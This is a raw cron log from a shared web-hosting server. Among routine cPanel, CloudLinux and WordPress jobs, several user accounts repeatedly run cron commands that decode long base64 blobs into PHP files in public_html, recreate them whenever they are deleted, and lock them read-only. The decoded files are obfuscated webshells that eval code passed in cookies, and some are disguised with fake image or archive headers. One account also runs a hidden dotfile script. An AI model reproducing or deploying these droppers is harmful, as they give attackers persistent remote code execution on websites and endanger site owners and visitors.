Mar  1 13:07:02 medusa CROND[29565]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:07:02 medusa CROND[29631]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 13:08:01 medusa CROND[21123]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 13:08:01 medusa CROND[21131]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 13:08:01 medusa CROND[21193]: (root) CMD (/usr/bin/flock -n /var/run/setup_cl_plus.cronlock /usr/share/cloudlinux/cl_plus/manage_clplus &> /dev/null)
Mar  1 13:08:02 medusa CROND[21314]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 13:08:02 medusa CROND[21316]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:08:02 medusa CROND[21319]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:08:02 medusa CROND[21322]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 13:08:02 medusa CROND[21323]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 13:08:02 medusa CROND[21327]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 13:08:02 medusa CROND[21328]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 13:08:02 medusa CROND[21330]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 13:08:02 medusa CROND[21331]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:08:02 medusa CROND[21332]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:08:02 medusa CROND[21334]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 13:09:01 medusa CROND[13029]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Mar  1 13:09:01 medusa CROND[13082]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 13:09:01 medusa CROND[13099]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 13:09:01 medusa CROND[13100]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 13:09:01 medusa CROND[13127]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 13:09:01 medusa CROND[13128]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 13:09:01 medusa CROND[13129]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:09:01 medusa CROND[13130]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:09:01 medusa CROND[13132]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:09:01 medusa CROND[13133]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:09:01 medusa CROND[13135]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 13:09:01 medusa CROND[13141]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 13:09:01 medusa CROND[13142]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 13:10:01 medusa CROND[5170]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 13:10:01 medusa CROND[5190]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 13:10:02 medusa CROND[5291]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 13:10:02 medusa CROND[5292]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 13:10:02 medusa CROND[5293]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 13:10:02 medusa CROND[5294]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 13:10:02 medusa CROND[5295]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 13:10:02 medusa CROND[5297]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 13:10:02 medusa CROND[5305]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 13:10:02 medusa CROND[5303]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
